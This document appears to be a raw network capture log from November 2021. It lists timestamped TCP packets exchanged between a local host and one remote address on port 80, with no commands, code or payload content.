Nov 4, 2021 13:13:29.115189075 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115205050 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115221024 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115236998 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115252972 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115267992 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115283966 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115299940 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115303993 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.115310907 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.115314960 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115336895 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115351915 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115369081 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115382910 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.115385056 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115386009 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.115401030 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115416050 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115446091 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.115448952 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.115458965 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115475893 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115488052 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115504026 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115520954 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115536928 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115552902 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115567923 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115585089 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115597963 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.115600109 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115603924 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.115616083 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115631104 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115647078 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115655899 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.115658998 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.115664005 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115679979 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115695000 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115710974 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115725994 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.115725994 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115729094 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.115741968 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115783930 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.115787029 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.115880966 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115897894 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115936995 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115952015 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.116022110 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.116036892 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.116051912 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.116059065 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.116065025 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.116067886 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.116082907 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.116619110 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.132333994 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.132359982 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.132375956 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.132391930 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.132544994 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.132549047 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.132606983 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.132626057 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.132637978 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.132647991 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.132651091 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.132663012 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.132680893 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.132699013 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.132710934 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.132728100 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.132740021 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.132740021 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.132759094 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.132774115 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.132791996 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.132807970 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.132864952 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.132874012 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.132880926 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.132910013 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.132920027 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.133018970 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.133064985 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.133081913 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.133096933 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.133114100 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.133128881 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.133132935 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.133141041 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.133143902 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.133160114 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.133176088 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.133191109 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.133205891 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.133220911 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.133238077 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.133248091 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.133253098 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.133254051 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.133270979 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.133287907 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.133305073 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.133346081 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.133357048 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.133569956 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.133589983 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.133606911 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.133624077 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.133636951 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.133641005 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.133656025 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.133667946 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.133752108 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.133760929 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.149857044 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.149890900 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.149918079 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.149944067 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.149961948 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.149988890 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.150006056 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.150018930 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.150043011 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.150115967 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.150139093 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.150194883 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.150263071 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.150281906 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.150299072 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.150322914 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.150329113 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.150340080 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.150365114 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.150382996 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.150402069 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.150418043 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.150445938 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.150463104 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.150511026 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.150520086 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.150523901 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.150538921 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.150563002 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.150572062 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.150981903 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.151012897 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.151031017 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.151047945 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.151072979 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.151087999 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.151091099 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.151099920 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.151103020 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.151115894 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.151158094 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.151175976 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.151196003 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.151227951 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.151242018 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.151245117 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.151247978 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.151261091 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.151285887 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.151303053 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.151364088 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.151382923 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.151400089 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.151408911 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.151448965 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.151465893 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.151483059 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.151489973 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.151532888 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.151544094 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.151551008 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.151582003 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.151593924 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.151652098 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.151726961 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.166984081 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.167013884 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.167032003 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.167156935 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.167432070 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.167579889 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.167598963 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.167618036 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.167618990 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.167634010 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.167650938 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.167661905 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.167663097 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.167681932 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.167697906 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.167714119 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.167730093 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.167747021 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.167759895 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.167763948 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.167781115 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.167797089 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.167813063 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.167829990 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.167846918 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.167862892 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.167876959 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.167882919 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.167932034 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.167990923 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.168009996 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.168021917 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.168076038 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.168205023 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.168247938 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.168265104 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.168282986 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.168298960 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.168315887 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.168318987 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.168329000 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.168342113 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.168360949 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.168378115 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.168395042 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.168411970 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.168416977 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.168423891 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.168441057 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.168461084 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.168473005 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.168486118 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.168504000 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.168514013 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.168519974 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.168534040 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.168539047 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.168545961 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.168559074 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.168576002 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.168591022 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.168602943 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.168648958 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.168684006 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.184007883 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.184039116 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.184170008 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.184269905 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.184318066 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.184417963 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.184995890 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.185018063 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.185122013 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.185725927 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.185748100 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.185857058 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.186399937 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.186423063 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.186536074 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.187062025 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.187083960 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.187237978 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.187756062 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.187779903 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.187874079 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.188461065 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.188483000 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.188626051 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.189147949 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.189172029 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.189317942 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.189848900 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.189871073 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.190502882 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.190551996 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.190583944 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.191265106 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.191288948 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.191308022 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.191386938 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.191950083 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.191972971 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.192073107 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.192640066 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.192663908 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.192874908 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.193314075 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.193335056 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.193506002 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.194739103 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.194760084 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.194772959 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.194785118 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.194961071 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.194984913 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.195420027 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.195442915 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.195794106 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.196114063 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.196136951 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.196805954 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.196829081 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.196908951 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.197438955 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.199309111 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.199328899 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.199346066 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.199361086 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.199376106 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.199393034 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.199518919 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.199539900 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.199582100 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.199599028 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.200279951 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.200284004 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.200310946 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.200526953 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.200961113 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.200984955 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.201231003 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.204231024 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.204297066 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.204314947 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.204386950 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.204408884 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.204416037 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.204436064 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.204462051 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.204479933 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.204536915 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.204581976 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.204591990 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.204981089 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.205015898 CET	80	49767	104.21.92.165	192.168.2.3
